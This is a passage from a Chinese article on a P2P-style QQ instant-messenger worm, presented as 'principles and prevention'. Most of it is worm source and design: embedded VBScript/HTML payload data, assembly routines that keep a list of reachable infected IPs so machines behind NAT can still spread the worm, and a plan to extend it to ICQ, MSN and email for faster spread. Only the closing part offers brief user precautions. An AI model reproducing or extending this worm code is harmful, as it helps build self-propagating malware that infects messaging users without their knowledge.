基于P2P思想的QQ蠕虫的原理与防治(2)
db 'Next',0dh,0ah
db 'End Function',0dh,0ah
db '-->'
db '</SCRIPT></HEAD><BODY>Thank you for test it!</BODY></HTML>'
容易看出,html代码只是exe中的一段数据。 exe运行后,创建http服务和监视QQ,继续传播。至此,一个完整的QQ蠕虫就完成了。
三.局限性与解决方案
如果目标机器禁止了vbs的运行,同样无法传播。但是,单纯以vbs为传播手段的病毒都可以大行其道,它也可以。
基于P2P思想,虽然不受固定服务器的限制。但是在某些情况下无法传播。比如,被感染的机器在内网中,尽管它可以被感染,但无法感染其他机器。因为
其他机器找不到它的ip.它无法作为服务器。
解决方法如下:
1. 程序体内保存一块空间,是4的倍数(in_addr的大小),用来保存真正的IP.
2. 在一台机器获得控制权后,得到本机IP(gethostname, gethostbyname),分析是否为内网
是则调用SelectTrueIP,从iplist中选择一个真正的ip,否则调用UpdateIPList,更新iplist,因为iplist可能还有未填充项或者过时的ip.验证是否过时向它发出连接即可。
3. 这样,当机器处于内网时,会向好友发出http://trueip:80的消息,对方则向trueip发出连接而不是内网的机器,和DRDos相似。代码如下:
IsActiveIP PROC IP : DWORD
LOCAL VSocket : DWORD
push ecx
push IPPROTO_TCP
push SOCK_STREAM
push AF_INET
call socket
mov VSocket,eax
push IP
pop TestIP
push sizeof(sockaddr) ; Size of connect strucure=16
call IAI1 ; Connect structure
dw AF_INET ; Family
db 0,80 ; Port number,avoid htons :)
TestIP dd 0 ; in_addr of server
db 8 dup(0) ; Unused
IAI1:
push VSocket
call connect ;ret 0 if sucess
push eax
push VSocket
call closesocket
pop eax
pop ecx
ret 4
IsActiveIP ENDP
SelectTrueIP:
push 64
pop ecx
mov esi , offset TrueIPList
STI1: lodsd
push eax
call IsActiveIP ;ret 0 if sucess
.if eax == 0
sub esi , 4
lodsd
jmp STIExit
.else
loop STI1
.endif
xor eax , eax
STIExit:
ret
UpdateTrueIP PROC TrueIP : DWORD
push 64
pop ecx
mov esi , offset TrueIPList
UT1: lodsd
.if eax == 0
push TrueIP
pop [esi-4]
jmp UTExit
.else
loop UT1
.endif
push 64
pop ecx
mov esi , offset TrueIPList
UT2:
lodsd
push eax
call IsActiveIP ;ret 0 if sucess
.if eax != 0
push TrueIP
pop [esi-4]
jmp UTExit
.else
loop UT1
.endif
UTExit:
mov eax , TrueIP
ret 4
UpdateTrueIP ENDP
TrueIPList db 256 dup (0)
四. 扩展
若把这种方法同时也应用到ICQ,MSN等IM软件,http服务器不变,只是查找发送消息窗口有所不同,但原理一样,只需要少量修改。再有一个SendMSNMsg和SendICQMsg线程即可。考虑到IM软件同时在线人数之多,再辅助以邮件等常规手段,传播速度十分可观。
五. 防范措施
?1、注意在线传输:常用的通讯软件如ICQ、QQ、MSN Message均提供了在线传输功能,来源不可靠的传输内容请拒绝接收;即便可靠,接收后也要经过杀毒软件的扫描方能运行。??2、小心页面链接:
如果用户在使用聊天软件时不小心上当,点击了不明网页链接,电脑就会在使用者完全不知情的情况下,从许多网站下载文件并自动运行。所以,千万别打开陌生人传来的页面链接!如果是好友送来的连接,要询问、确认后打开。这不是谁的漏洞,就象DDos攻击一样,是不可避免的正常危机。
六. 结束语
??QQ和MSN受到病毒侵袭的事件再一次强调了互联网世界真实的一面——任何流行的电脑程序最终都会成为被攻击的目标。
??今后,我们不排除会有像CIH这样的恶性病毒通过QQ、ICQ、MSN等渠道进行广泛传播的可能,因此,加强对即时通讯软件的监控和保护是当务之急。
??病毒正试图把触角延伸到所有可能的领域。与刚刚开始的攻击即时通讯软件的病毒一样,虽然手机病毒,PDA病毒等都还属于新兴“毒种”,病毒传播、侵害模式尚且属于萌芽状态,但是稍许的掉以轻心,都可能会导致巨大的不可挽回的损失。防患于未然,才是反病毒的大计。
- 最新评论